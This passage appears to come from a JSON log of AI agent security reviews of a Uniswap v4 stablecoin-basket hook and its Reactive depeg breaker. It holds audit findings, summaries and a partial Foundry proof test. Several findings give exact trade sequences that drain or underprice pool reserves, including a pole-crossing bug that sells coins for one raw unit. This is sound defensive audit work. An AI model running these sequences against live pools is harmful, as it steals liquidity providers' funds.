When OrbitalDepegCallback can no longer cover `pay`, the Reactive proxy records the contract as a debtor and stops delivering to it; the owner's `unpause()` after the coin recovers then re-opens the pool with a breaker that cannot fire on the next depeg, and nothing on-chain signals this. The fix is cheap: keep a `tripped` flag in the ReactVM copy (set when a callback is emitted, cleared on the first in-band update) and emit only on the in-band -> out-of-band transition; optionally let the owner re-arm.","line":104,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"Deploy OrbitalDepegReactive(originChainId=1, feed, 1301, callback, 500_000, pegPrice=1e8, bandBps=200). Call react() as the system contract with 24 consecutive AnswerUpdated logs carrying price 0.95e8 and roundIds 1..24. Expected: one Callback (the pool is already paused after the first). Actual: 24 Callback events, each billed on both chains (test/scratch/FeeShare.t.sol test_reactiveRepeatsCallbacks counts 24). With a callback contract funded for N callbacks, the (N+1)-th depeg update makes `pay` fail and delivery stops.","severity":"low","snippet":"        emit Callback(destinationChainId, callbackContract, callbackGasLimit, payload);","title":"OrbitalDepegReactive emits a paid cross-chain Callback on every out-of-band feed update, so a persistent depeg drains the breaker's REACT/ETH funding and leaves the circuit breaker dead for the next e"},{"citation":"resolved","description":"Fees accrue per unit of `totalRadius` regardless of whether a tick is interior or pinned to its plane, and `_settleFees` pays `radius * (growth - debt)` with no distinction (lines 427-428). The protocol's isolation feature means a pinned tick absorbs a small, geometrically capped amount of the depegging coin while the interior ticks absorb the rest of every further sale, yet the pinned tick is paid the same fee per unit radius as the interior ticks that carry the risk. Combined with the fact that a concentrated tick costs ~4x less capital per unit radius (0.74 tick: ~0.098 per coin per radius vs ~0.42 for full range at the peg), an LP in the tight tick earns far more fee per dollar than the full-range LP both in calm markets (intended) and after it has been isolated (not intended: it then provides little liquidity but still collects a third of the fees in the measured case). Interior LPs are the identifiable losers: they are paid 2/3 of the fee for absorbing 96% of the flow. This is an incentive mismatch rather than a theft; the author should decide whether boundary ticks should earn in proportion to the liquidity they actually provide on their circle (e.g. weight fee growth by each tick's share of the trade's reserve change, or by an s/r factor for boundary ticks) and state the rule in the README.","line":326,"path":"src/OrbitalHook.sol","reproduction":"Fixture basket {A, B, C(6)}, ticks {0.74, 0.95, 1.15}. LP1 deposits 1,000,000e18 radius into tick 0 (tight), LP2 deposits 2,000,000e18 into tick 2 (full range). Trader sells 300,000 A for B (tick 0 pins). Trader then sells another 300,000 A for C. Measured on that second sale (test/scratch/FeeShare.t.sol test_pinnedTickFeeShareVsAbsorption): tick 0's A reserve grew by 11,283 A (3.8% of the sale) while tick 2's grew by 288,596 A (96.2%); pending fees from that sale: tick 0 = 40 A, tick 2 = 80 A (a 1/3 share for 3.8% of the absorption). Expected under 'fees follow risk/liquidity provided': the pinned tick's fee share from the second sale is a small fraction of a third. Actual: exactly a third.","severity":"low","snippet":"        if (feeWad > 0) _feeGrowth[i] += feeWad * WAD / totalRadius;","title":"Swap fees are split purely by radius, so a pinned (boundary) tick keeps a full fee share while absorbing almost none of the trade flow"}],"hash":"5348776b2f03bf5ab225a538ace2dea463140861b39024bdee9f2eea41a42505","nodeId":"5a65e41f-0a20-4fd9-bf38-a0b41058f290","outcome":"completed","summary":"Review complete. The findings file is written, the source tree is untouched, and the project's own 62 tests still pass.\n\n**What I found** (all in `.imd-findings.json`, each with a concrete reproduction, three with Foundry proofs under `test/scratch/` that fail on the current code and pass under a minimal fix):\n\n1. **Medium: re-entrancy window in `deposit`.** Reserves are inflated before the fee payout external call, and `beforeSwap` has no re-entrancy guard. With a basket coin that notifies recipients on transfer, the depositor re-enters `PoolManager.swap` and buys the pool's entire real reserve of another coin for 1 wei. The PoC drained about 585k tokens and left the victim LP unable to withdraw. Not reachable with USDC/USDT/DAI, which is why it is medium rather than high.\n2. **Medium: one frozen basket coin locks every coin.** Withdraw and fee collection take all N coins in one callback. If an issuer pauses a collapsing coin, or blacklists an LP, that LP cannot recover any healthy coin either. This contradicts the stated \"withdrawals always work\" guarantee in exactly the scenario the protocol is built for.\n3. **Low: wei-level claim shortfall panics the last withdrawal.** Per-position floor rounding lets accounted reserves exceed the hook's claims by a few wei. The last full withdrawal reverts with an arithmetic panic. It occurred in roughly 1 of 6 random sequences.\n4. **Low: Reactive breaker re-bills on every out-of-band update.** A persistent depeg produces a paid callback per feed update while already paused, draining funding until the breaker silently stops delivering.\n5. **Low: fee split ignores pinned status.** Measured: a pinned tick absorbed 4% of a sale but earned a third of its fee.\n\n**What held up.** The core geometry is sound: the torus invariant, round-trip no-profit, tick pin and unpin at exactly `k`, boundary deposits into empty levels, and multi-LP conservation all passed targeted fuzzing from pinned states and 400 random operation sequences. Coverage rows answer all 35 entry points plus six invariants, none unreached.","treeHash":null,"usage":{"cachedInputTokens":5173838,"inputTokens":802,"model":"claude-fable-5-1","outputTokens":131228,"runtime":"claude","turns":51,"wallClockMs":1711189}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3c7630b22a73c1fb","findings":[{"citation":"resolved","description":"_checkFinal (src/OrbitalHook.sol:1019-1026) enforces the pole constraint (interior reserve x[k] - xBound[k] <= r_int, i.e. a non-negative price) for the INPUT coin only. With ticks pinned, every coin's boundary share xBound[k] = kb/sqrtN + sb * (x[k] - S/N)/||w|| depends on the pool direction, so a trade between coins a and b changes the interior reserve of a third coin c without ever touching x[c]. When c already sits near its pole (it was sold heavily: the depeg the design targets), such a trade carries it past the pole (u_c > r_int, negative price) and nothing refuses it. Two consequences follow directly from the solvers in src/libraries/OrbitalMath.sol: (1) solveIn's shortcut `if (_f(p, 0, dOut) <= 0) return 0` (line 193) fires because removing a past-pole coin moves the point INSIDE the torus, so every exact-output buy of c up to the past-pole amount costs 1 raw unit (_price sets rawIn = 1, line 346); selling c is impossible meanwhile (SwapTooLarge for input c). (2) A partial past-pole take leaves the point deep inside the torus (F = -4.46e45 against r^2 ~ 9.4e48 in the reproduction), so the same shortcut then gives away HEALTHY coins for 1 raw unit until the point is back on the surface: measured from that state, 2,160 of coin 0, 933 of coin 1 and 1,374 of coin 3 (each from the same state) are obtainable for 1e-8 of the input coin. The attacker can repeat: trade other pairs to push c further past the pole, take c, take healthy coins. The invariant the author's own suite asserts (invariant_pointStaysOnTorusAboveFloor) is broken after step (1). The state is reachable with ordinary swaps alone: a fuzz on the project's 3-coin fixture basket (18/18/6 decimals, ticks 0.74/0.95/1.15, 2e24 radius per tick, trades up to 1.5M units) finds a coin at u/r = 1.0054 within 12 runs, so this is not a 4-coin artefact. Candidate fix verified: checking every coin in _checkFinal (loop k over x, revert SwapTooLarge when x[k] - xBound[k] > c.r) makes the attached proof pass and keeps all 137 project tests green; it refuses the trades between healthy coins that would push a third coin past its pole, which is the price of the consolidated-torus model unless the pole is handled as a boundary (author's design call). Also consider making solveIn/solveOut's dust shortcuts conditional on the point being within rounding of the surface rather than returning 0 for an arbitrarily deep interior point.","line":1025,"path":"src/OrbitalHook.sol","reproduction":"Basket of 4 coins (decimals 18/6/18/8), ticks kNorm 1.01/1.1/1.3/1.5, fee 400 ppm; LP deposits 2e24 into tick 3 and 1e24 into tick 0. Trader sells coin 2: 784,023e18 for coin 1, 84,206e18 for coin 0; LP deposits ~2.05e24 twice into tick 1; trader sells 303,068e18 coin 2 for coin 1 (ticks 0 and 1 pin); LP deposits ~1.07e24 into tick 2. Now u_2/r_int = 0.9702 (coin 2 near its pole, on the right side). Trades that never touch coin 2: exact-out 187,282e6 coin 1 for coin 0; sell 715,811e8 coin 3 for coin 0 (u_2/r crosses to 1.0012); exact-out 428,508e6 coin 1 for coin 0; exact-out 152,935e8 coin 3 for coin 0; exact-out 220,316e6 coin 1 for coin 0; sell 781,017e8 coin 3 for coin 1; sell 735,352e6 coin 1 for coin 3. State: u_2/r_int = 1.0208, F = -1.4e34 (on the surface). Then exact-out 59,760e18 coin 2 paying coin 3: expected roughly the pool's (low) price for coin 2, actual rawIn = 1 (1e-8 coin 3) and F = -4.46e45. Then exact-out 1,000e18 of healthy coin 0 paying coin 3: expected on the order of 1,000 coin 3, actual 1 raw unit. Proof test/scratch/PoleProof.t.sol test_thirdCoinPushedPastPoleThenHealthyCoinIsFree fails on this tree ('1,000 healthy stablecoins sold for dust: 1 < 10000000000') and passes with the all-coin pole check (coin 2 then costs 4,157e8 and coin 0 689e8).","severity":"high","snippet":"        if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();","title":"A coin that is neither input nor output can be pushed past the interior sphere's pole by trades between other coins; it is then sold for one raw unit, and the pool is left inside its torus so healthy "},{"citation":"resolved","description":"Third-round settlement of finding 927b219e (second round) / 2701c5233d0c (first round). The author disputes only the disposition, not the observation, and I agree with their reasoning: the integrate assignment writes launch.json alone, the schema's constructorArgs items are scalar strings, and OrbitalHook's constructor (src/OrbitalHook.sol:177-227) requires a non-zero owner (line 186: `if (_owner == address(0)) revert ZeroAddress();`), 2..8 basket addresses, their decimals and 1..8 kNorms as dynamic arrays. No manifest-only change can express those, and a literal owner would instantiate an unauthorized owner. Re-verified on this tree: the manifest is byte-for-byte the same as last round apart from its notes, which now record the gap, the reproduction and both remediation paths under 'BLOCKING GAP'. Everything else in the manifest matches the code (permissions = getHookPermissions = flags 0x2888, argument 0 is $poolManager, zero-argument token, pass-through ETH/ORB pool the hook does not constrain). The defect remains a code/manifest incompatibility of the deliverable: the attested creation code with these arguments reverts, so the protected Hook floor reports 'hook deployment reverted'. Resolution still needs one of: (a) a hook implement task revising src/OrbitalHook.sol so the constructor takes only manifest-expressible values (IPoolManager plus scalars) with basket, decimals and kNorms set once by an owner-only lockable configure call and the owner supplied from policy; or (b) deployer support for array arguments and an $owner placeholder, after which the manifest is rewritten. The hook implement revision that finding 1 requires is the natural place for (a). Kept at medium: no funds at risk, launch not deployable.","line":7,"path":"launch.json","reproduction":"test/scratch/Settle.t.sol (ManifestSettle) on this tree: test_zeroArgsRevert does CREATE2 of type(OrbitalHook).creationCode ++ abi.encode(poolManager, address(0), address(0), new address[](0), new uint8[](0), new uint256[](0), uint24(400)) (the closest valid encoding of the manifest's arguments) at a salt mined for flags 0x2888 and gets address(0); `new OrbitalHook{salt}` with the same arguments reverts ZeroAddress(). test_nonZeroOwnerEmptyBasketReverts: owner = address(1) with empty arrays reverts InvalidTokens() (lines 187-189). Both pass (i.e. the deployment reverts) on the current tree, exactly as the manifest's own notes state. Expected for a deployable launch: a hook at a flag-matching address; actual: constructor revert. Control: a 3-coin basket with kNorms 0.74e18/0.95e18/1.15e18 deploys at a flag-matching address (test/utils/BasketHarness.sol deployBasket, used by the whole suite).","severity":"medium","snippet":"      \"0x0000000000000000000000000000000000000000\",","title":"launch.json constructorArgs still cannot instantiate OrbitalHook: a zero owner reverts ZeroAddress and the three array arguments are written as the scalar \"0\" (unchanged; author concedes, hold at admi"},{"citation":"resolved","description":"Judged from the tester's finding 76a7a4a1 (write_foundry_tests), reproduced by its test test/ReactiveEdge.t.sol::test_failedDeliveryIsNotRetriedWithinTheExcursion, which passes on this tree because it asserts the behaviour as it is. The latch added this round (to settle the round-1 findings about one paid callback per feed round) is a pure one-shot: `tripped[emitter]` is set on the first out-of-band round and only cleared by an in-band round. The ReactVM copy's storage changes only through react(), so there is no owner re-arm, and the destination side cannot report back. If the single delivery fails (OrbitalDepegCallback reverts HookNotSet / WrongRvmId, the hook reverts NotGuardian after a guardian rotation, or the Reactive Network drops the callback because the callback contract cannot pay), every later round of the excursion is DepegPersists and the pool keeps trading through the depeg the breaker exists for; fixing the destination afterwards does not help until the price has gone back in band and left again. This is the keeper-free guarantee degrading to 'a human must notice'. Not a loss of funds by itself (withdrawals and the owner's pause() work), so low. Cheap mitigations that keep the one-callback-per-round-storm property: re-emit the Callback every K DepegPersists rounds (or after a time gap) while tripped; or let the Reactive Network copy re-arm the ReactVM copy through a callback to itself; at minimum document the monitoring requirement (README now lists the events to watch but not that a failed delivery is final for the excursion).","line":113,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"Deploy OrbitalDepegCallback(proxy, hook = address(0), rvmId) and OrbitalDepegReactive(origin, feed, 1301, callback, 500_000, peg 1e8, band 200) from rvmId; set the callback as the hook's guardian. react() from rvmId with AnswerUpdated price 0.5e8, roundId 1: one Callback emitted, tripped[feed] == true. Deliver the payload through the proxy: reverts HookNotSet, hook.paused() == false. Call callback.setHook(hook), then react() with rounds 2..11 at 0.5e8. Expected for a keeper-free breaker: at least one further Callback so the pause lands. Actual: zero Callback events, only DepegPersists, hook.paused() stays false for the whole excursion; only an in-band round (12) followed by another out-of-band round (13) emits a Callback that pauses. test/ReactiveEdge.t.sol test_failedDeliveryIsNotRetriedWithinTheExcursion encodes exactly this sequence and passes on the current code.","severity":"low","snippet":"        if (tripped[emitter]) {\n            emit DepegPersists(emitter, price, roundId);\n            return;\n        }","title":"The breaker's per-excursion latch never retries a failed callback delivery: one undelivered Callback leaves the pool trading for the whole depeg excursion"}],"hash":"6fbcff4fd36fa7448fe25c106a894c88858fcd9d4defe2d146fb8ffb1542a495","nodeId":"0802ac7c-a09f-414b-9d42-6dec031c8311","outcome":"completed","summary":"Review complete. The findings file is written and the tree is otherwise unchanged (no tracked file differs, scratch tests removed).\n\n**Settlement of my earlier finding.** The manifest defect stands exactly as the author concedes: the constructor still reverts on a zero owner and on empty arrays, and no manifest-only edit can express the three arrays or a policy owner. Kept at medium, with the disposition the author and I agree on: hold at admission until a hook implement task reshapes the constructor or the deployer gains array arguments and an owner placeholder.\n\n**Specialist findings, judged against the revised code.** All four attached proofs now pass, and I re-verified each fix with my own variants:\n- Reentrancy through fee payout, frozen-coin lockout, dust-revert on the last withdrawal, deploy-under-broadcast, wrong ReactVM sender, callback spam, no owner re-arm, aggregator rotation: all fixed and dropped.\n- Tick desynchronisation: the specialist's proof now fails only on its own intermediate assertion (deposits no longer nudge the position). Six variants of mine (deposit, tiny deposit, pinned-tick deposit, two withdrawals, empty tick opened on its plane) all rejoin or pin correctly. Dropped.\n- Pinned-tick fee share and the unreachable-plane note are design or documentation points, not defects. Dropped.\n- The tester's no-retry finding reproduces and is kept at low.\n\n**New finding, high.** A coin that is neither the input nor the output of a trade can be pushed past the interior sphere's pole, because the final check in the swap engine only guards the input coin while every coin's boundary share follows the pool direction. Past the pole, the exact-output solver's shortcut treats the point as already inside the torus. In the reproduction a trader takes 59,760 of the depegged coin for one raw unit, which leaves the pool inside its surface, and then takes 1,000 of a healthy coin for one raw unit as well. From the same state the free amounts measured were 2,160, 933 and 1,374 of the three healthy coins. A fuzz on the project's own 3-coin fixture reaches the pole crossing with swaps alone. The attached proof fails on this tree and passes with an all-coin pole check, which also keeps all 137 project tests green.\n\n**Coverage.** All 32 listed entry points are answered, plus four invariant rows. Two carry findings: the swap callback (finding 1) and the reactive react path (finding 3); the constructor/manifest row carries finding 2.","treeHash":null,"usage":{"cachedInputTokens":3650198,"inputTokens":642,"model":"claude-fable-5-1","outputTokens":75965,"runtime":"claude","turns":45,"wallClockMs":1141126}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"468e82a89b9bfe18","findings":[],"hash":"71b8bc8fd07b2a30e057590d4f6fc3ed0ff99e99626cf8c6d17d5e6d82b967f1","nodeId":"7000abcf-1b3e-42e8-939f-b8e2c1045dc3","outcome":"no_change","summary":"The finding reproduces, and it cannot be closed from this task. I answered it in `.imd-responses.json` and left `launch.json` as accepted.\n\n**What I verified**\n\n- Reproduction in a scratch test, run against the current tree: CREATE2 of the hook's creation code with the manifest's arguments, encoded as a zero owner, zero guardian, three empty arrays and fee 400, returns the zero address at a salt mined for flags 0x2888. The same arguments through a direct deployment revert with ZeroAddress. With a nonzero owner they revert with InvalidTokens. A control with a three-coin basket deploys at a flag-matching address.\n- Scope: the fix the reviewer asks for is a revision of the hook constructor in `src/OrbitalHook.sol`. This integrate task may write only `launch.json`, so that revision needs a hook implement task with the source in scope.\n- No manifest-only workaround exists. All 19 hook manifests on this seat carry only `$poolManager`, literal addresses and integers. None has an array argument or an `$owner` placeholder, and the hook has no post-construction basket setter. Naming an owner wallet in the manifest would be an invented privileged address.\n- The current manifest is otherwise sound: permissions match getHookPermissions, the pool manager argument is `$poolManager`, native ETH is the paired currency, initialPrice is 2^96, and the notes already record the blocking gap plus both remedies the reviewer named, at 3975 of 4000 characters.\n\n**Checks run**\n\n```\nforge build --offline      clean\nforge test --offline       85 repo tests + 3 scratch reproductions, all pass\n```\n\n**Response filed**\n\nThe verdict is `disputed`, with the detail stating plainly that the defect is confirmed and that the disposition belongs to a hook revision task or a deployer feature for array arguments and `$owner`. The launch should stay held at admission until one of those lands.\n\n**Not done**\n\nA memory note about keeping IMD hook constructors manifest-expressible could not be saved. The memory directory is write-denied in this session.","treeHash":null,"usage":{"cachedInputTokens":1347519,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":15476,"runtime":"claude","turns":17,"wallClockMs":254122}},{"artifacts":[],"attempt":1,"bundleHash":"09d1000f5327bb8346daa9a7b618b0139c23644f89872fd836412aebe8c256b3","device":"2a5d68f89de314cb","findings":[{"description":"realReserves() subtracts _virtualFloor(), the floor of each level's cumulative radius (xMinNorm * radius / WAD, rounded once), while withdraw() credits the floor of the radius it removes (radius * L.xMinNorm / WAD, rounded per call) and then caps the payout at the hook's claim balance. The two roundings differ by up to one WAD-wei per withdrawal, so the view can report up to that much more real reserve than the hook's ERC-6909 claims back. withdraw() clamps to the claim balance, so no LP is paid more than the manager holds; the effect is confined to the view and to an exact-output trade that asks for the very last wei of a coin, which then fails in the manager's burn instead of in the hook's pricing. Carried over from the previous round; still present in this revision. Tested around in test/invariant/OrbitalHookInvariant.t.sol (invariant_claimsCoverReservesAndFees tolerates one WAD-wei per withdrawal; swapExactOut stays 64 raw units clear of the whole real reserve).","line":620,"path":"src/OrbitalHook.sol","reproduction":"Deposit into a concentrated tick, withdraw in several partial steps, then compare realReserves()[k] with manager.balanceOf(hook, id(token k)) * scale(k): expected realReserves <= backing, actual realReserves exceeds it by up to (number of withdrawals) WAD-wei. Consequence: quoteExactOutput for exactly realReserves()[k]/scale(k) succeeds in the hook but the swap reverts in PoolManager.burn.","severity":"low","title":"realReserves() can over-state the backing by one WAD-wei per past withdrawal"},{"description":"_checkStart() refuses every swap and quote once the point sits inside the torus by more than r_int^2/1e6 (+4 raw units). Withdrawals cannot lift such a freeze: a proportional withdrawal scales the surplus and the radius alike, so F/r_int^2 is unchanged (verified in test/OrbitalPoleEdge.t.sol, OrbitalFailSafeRecoveryTest). An interior deposit keeps the absolute surplus delta while the tolerance grows with the square of the radius, so the freeze lifts once r_int + rho >= 2e6 * delta, i.e. the rescue deposit must be on the order of 2e6 times the surplus (for a surplus of 1e-5 r_int that is about 20 r_int, verified in the same test). The other way out is every LP withdrawing (totalRadius == 0 resets the virtual reserves). None of the production paths examined (sub-unit 'donation' swaps, deposits, withdrawals, tick landings) was found to reach the frozen state; 400 consecutive zero-output swaps left the point inside by less than one raw unit because each returns the previous surplus. The README should state the recovery options for operators, since a frozen pool looks like a pause that unpause() does not clear.","line":1060,"path":"src/OrbitalHook.sol","reproduction":"Documentation gap, not a reachable defect: with a point forced inside by 1e-5 r_int (test-only subclass), quoteExactInput reverts InvariantViolated; withdraw(half) still reverts; deposit(level 1, ~20 r_int) makes quotes and swaps work again.","severity":"info","title":"Fail-safe freeze (InvariantViolated) has no documented recovery; it lifts only through a large interior deposit or a full exit"}],"hash":"82e6d438b039428f926fac6e6cfebfc17e6fe8c6fc320a1468d3f0f646579e76","nodeId":"2dc8499f-388f-4cfd-ab89-adf65568a2e7","outcome":"completed","summary":"Done. The suite builds and passes after a forced recompile: 151 tests, 0 failures, across 22 suites.\n\n**What was wrong.** The author's revision changed the reactive contract's constructor (a new `retryEveryRounds` argument), which broke the build of my accepted edge file at eleven call sites. The revision also added an all-coin pole check and a start-of-trade fail-safe (`InvariantViolated`) to the hook.\n\n**What I changed, all under `test/`:**\n- `test/ReactiveEdge.t.sol`: fixed the constructor calls, replaced the stale \"reported as a liveness gap\" note with the current state, and added retry failure paths: callback on every round at the most expensive setting, a retry re-pausing after an owner resume and both documented ways of silencing it (each makes the delivery fail without burning the round), per-aggregator counters, and a fuzzed cadence property (retries equal rounds divided by the interval, counter holds the remainder, in-band clears it).\n- `test/invariant/OrbitalHookInvariant.t.sol`: the handler now computes the marginal price before every executed swap and rejects any trade paid at under a quarter of it, a detector for the \"one raw unit\" giveaway pricing the pole fix targets. A new invariant asserts no committed state has a coin past its pole and none sits inside the torus beyond the hook's own fail-safe tolerance, so random sequences can never freeze trading.\n- `test/OrbitalPoleEdge.t.sol` (new): on the reviewer's 4-coin basket from the near-pole state, a fuzz with the same price floor on exact-in and exact-out trades plus the author's state checks, a test that the pole refusal is stateless and cannot be evaded by splitting the trade, and the fail-safe's recovery path with the test-only corruptible hook: fees, previews, deposits and withdrawals still work while frozen, a withdrawal does not lift the freeze, and a large interior deposit does.\n\n**Hypothesis I tested and refuted.** I suspected zero-output \"donation\" swaps could accumulate surplus inside the torus and trip the new fail-safe. A scratch proof showed each such swap returns the previous surplus as output, so it never exceeds one raw unit. Not reported.\n\n**Findings file** (`.imd-findings.json`, git ignores it via `.git/info/exclude` but it is on disk):\n- Low: `realReserves()` can over-state backing by one WAD-wei per past withdrawal (carried over, still present, tested around).\n- Info: the fail-safe freeze has no documented recovery; it lifts only through a deposit on the order of two million times the surplus or a full exit.\n\nNo defects of high or critical severity were found in this revision.","treeHash":"216ed2da2b78623163ed18e7c81c7af35c8a830d","usage":{"cachedInputTokens":5930715,"inputTokens":996,"model":"claude-fable-5-1","outputTokens":79654,"runtime":"claude","turns":71,"wallClockMs":3315022}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"2a5d68f89de314cb","findings":[{"citation":"resolved","description":"Seam: boundary x precision x invariant. The hook keeps two representations of a tick's status: the stored `boundaryMask` and the derived position `alphaIntNorm = floor((alpha - kb) * WAD / r_int)` (OrbitalMath.sol:139-141). The invariant the code documents (OrbitalHook.sol:547 'Ticks with kNorm below it are boundary', and the paper) is that a tick is pinned iff `alphaIntNorm >= kNorm`. `_nextCrossing` only re-synchronises the two when a trade's start/end positions bracket `kNorm` with one-sided comparators: a pinned tick is unpinned only if `k <= aNow` (line 826) and an interior tick is pinned only if `k >= aNow` (line 816). Nothing else ever repairs the mask.\n\nWhen a trade crosses a plane the code lands exactly on it via `planeStep` and the state after the crossing reads `alphaIntNorm == kNorm` with zero fractional part. From that resting state every ordinary interior deposit (`_tokenShare` floors `val * radius / c.r` per token, so S grows by slightly less than r does) and every partial withdrawal from the pinned tick move `alphaIntNorm` to `kNorm - 1` while the mask is untouched (deposit only rewrites the bit when `L.radius == 0`, line 361). Now `k <= aNow` is false for every subsequent return trade, so the tick stays pinned on its boundary circle while the interior travels all the way back to (and through) the peg. Measured: with TIGHT (k=0.74, r=1e24) and WIDE (k=1.15, r=2e24), the 250_000e18 B->A return trade pays the trader 291_196.58 A in the desynchronised state versus 302_257.79 A on the clean path where the tick rejoins at its plane (reference path differs only by an extra 100 A dumped first) - about 3.7% worse execution, with the surplus accruing to the interior LPs because the frozen tick's reserves depend only on the shared direction w-hat. The same state also leaves the tick's LP holding the depeg-skewed reserve vector (518_523 A / 340_756 B for r=1e24 at the peg instead of a balanced share) and makes the sphere invariant with the tick counted as interior read -4.9e46 instead of ~0.\n\nTrigger is unprivileged: any trader can compute the exact pin amount off-chain (quoteExactInput/binary search; it is 287_443_796_572_854_664_222_089 wei here) and any LP (even with MIN_RADIUS = 1e9) supplies the rounding nudge; a large interior LP profits from every later return trade. The mirror case (interior tick left above its plane, never pinned, unbounded depeg exposure) uses the same comparator at line 816; I could not reach it with a single trade because `planeStep` lands slightly before the floor-based position reaches k, but the fix below covers both.\n\nFix (minimal, keeps design): reconcile the mask with the position at the start of `_simulate` (for each level with radius: pin if interior and `k < aNow`, unpin if pinned and `k > aNow`; a one-unit mismatch is ~1e-6 wei of reserves so flipping without a plane step is harmless), and/or make `_nextCrossing` treat ticks already past the comparison point as crossed. Verified: with that reconciliation the attached proof passes.","line":821,"path":"src/OrbitalHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {OrbitalHook} from \"src/OrbitalHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev Minimal 18-decimal ERC-20 for the proof (no dependency on other test files).\ncontract ProofToken {\n    uint8 public constant decimals = 18;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @title TickDesync\n/// @notice A tick pinned to its plane must rejoin the interior when the interior's normalised\n/// position (`alphaIntNorm`) falls back below its `kNorm` (OrbitalHook.sol:547 \"Ticks with kNorm\n/// below it are boundary\"). This test drives the pool to the exact pin point of the tight tick,\n/// makes an ordinary interior deposit (whose floor rounding moves `alphaIntNorm` to `kNorm - 1`),\n/// then trades back towards the peg. `_nextCrossing` only unpins ticks with `k <= aNow`, so the\n/// tight tick stays pinned while the position ends far below its plane.\ncontract TickDesyncTest is Test {\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n        | HookFlags.BEFORE_SWAP_RETURN_DELTA;\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant K_TIGHT = 0.74e18;\n    uint256 constant K_WIDE = 1.15e18;\n    uint256 constant R = 1_000_000e18;\n    uint256 constant TIGHT = 0;\n    uint256 constant WIDE = 1;\n\n    PoolManager manager;\n    PoolSwapTest router;\n    OrbitalHook hook;\n    ProofToken a;\n    ProofToken b;\n    ProofToken c;\n    PoolKey keyAB;\n    address lp = makeAddr(\"lp\");\n    address trader = makeAddr(\"trader\");\n\n    function setUp() public {\n        manager = new PoolManager(address(this));\n        router = new PoolSwapTest(manager);\n        a = new ProofToken();\n        b = new ProofToken();\n        c = new ProofToken();\n        address[] memory basket = new address[](3);\n        basket[0] = address(a);\n        basket[1] = address(b);\n        basket[2] = address(c);\n        uint8[] memory decs = new uint8[](3);\n        decs[0] = 18;\n        decs[1] = 18;\n        decs[2] = 18;\n        uint256[] memory ks = new uint256[](2);\n        ks[0] = K_TIGHT;\n        ks[1] = K_WIDE;\n        bytes memory code = abi.encodePacked(\n            type(OrbitalHook).creationCode,\n            abi.encode(IPoolManager(address(manager)), address(this), address(this), basket, decs, ks, uint24(400))\n        );\n        bytes32 salt = mine(code);\n        hook = new OrbitalHook{salt: salt}(\n            IPoolManager(address(manager)), address(this), address(this), basket, decs, ks, uint24(400)\n        );\n        (address c0, address c1) = address(a) < address(b) ? (address(a), address(b)) : (address(b), address(a));\n        keyAB = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 0, 60, IHooks(address(hook)));\n        manager.initialize(keyAB, SQRT_PRICE_1_1);\n        fund(lp);\n        fund(trader);\n        vm.startPrank(lp);\n        hook.deposit(TIGHT, R, maxes());\n        hook.deposit(WIDE, 2 * R, maxes());\n        vm.stopPrank();\n    }\n\n    function test_pinnedTickFailsToRejoinInterior() public {\n        // 1. Smallest exact-in A->B amount that pins the tight tick: the trade lands exactly on\n        //    the plane and the remaining input is too small to move alphaIntNorm off kNorm.\n        uint256 lo = 1e18;\n        uint256 hi = 600_000e18;\n        while (hi - lo > 1) {\n            uint256 mid = (lo + hi) / 2;\n            uint256 snap = vm.snapshotState();\n            swap(true, -int256(mid));\n            bool pinned = hook.boundaryMask() & (1 << TIGHT) != 0;\n            vm.revertToState(snap);\n            if (pinned) hi = mid;\n            else lo = mid;\n        }\n        swap(true, -int256(hi));\n        assertEq(hook.boundaryMask(), 1 << TIGHT, \"tight tick pinned at its plane\");\n        assertEq(hook.alphaIntNorm(), int256(K_TIGHT), \"position sits exactly on the plane\");\n\n        // 2. Any interior deposit now rounds the position down by one unit while the mask is kept.\n        vm.prank(lp);\n        hook.deposit(WIDE, 1e24, maxes());\n        assertEq(hook.boundaryMask(), 1 << TIGHT, \"still pinned\");\n        assertLt(hook.alphaIntNorm(), int256(K_TIGHT), \"but the position is below the plane\");\n\n        // 3. Trade back towards the peg. The interior ends near its equal-price point, far below\n        //    kNorm, so by the hook's own definition the tight tick must be interior again.\n        swap(false, -int256(250_000e18));\n        int256 pos = hook.alphaIntNorm();\n        assertLt(pos, int256(K_TIGHT) - 1e15, \"position far below the tight plane\");\n        assertEq(hook.boundaryMask() & (1 << TIGHT), 0, \"tight tick must have rejoined the interior\");\n    }\n\n    // ---- helpers ----------------------------------------------------------------------------\n\n    function swap(bool aForB, int256 amount) internal {\n        bool z = Currency.unwrap(keyAB.currency0) == address(a) ? aForB : !aForB;\n        vm.prank(trader);\n        router.swap(\n            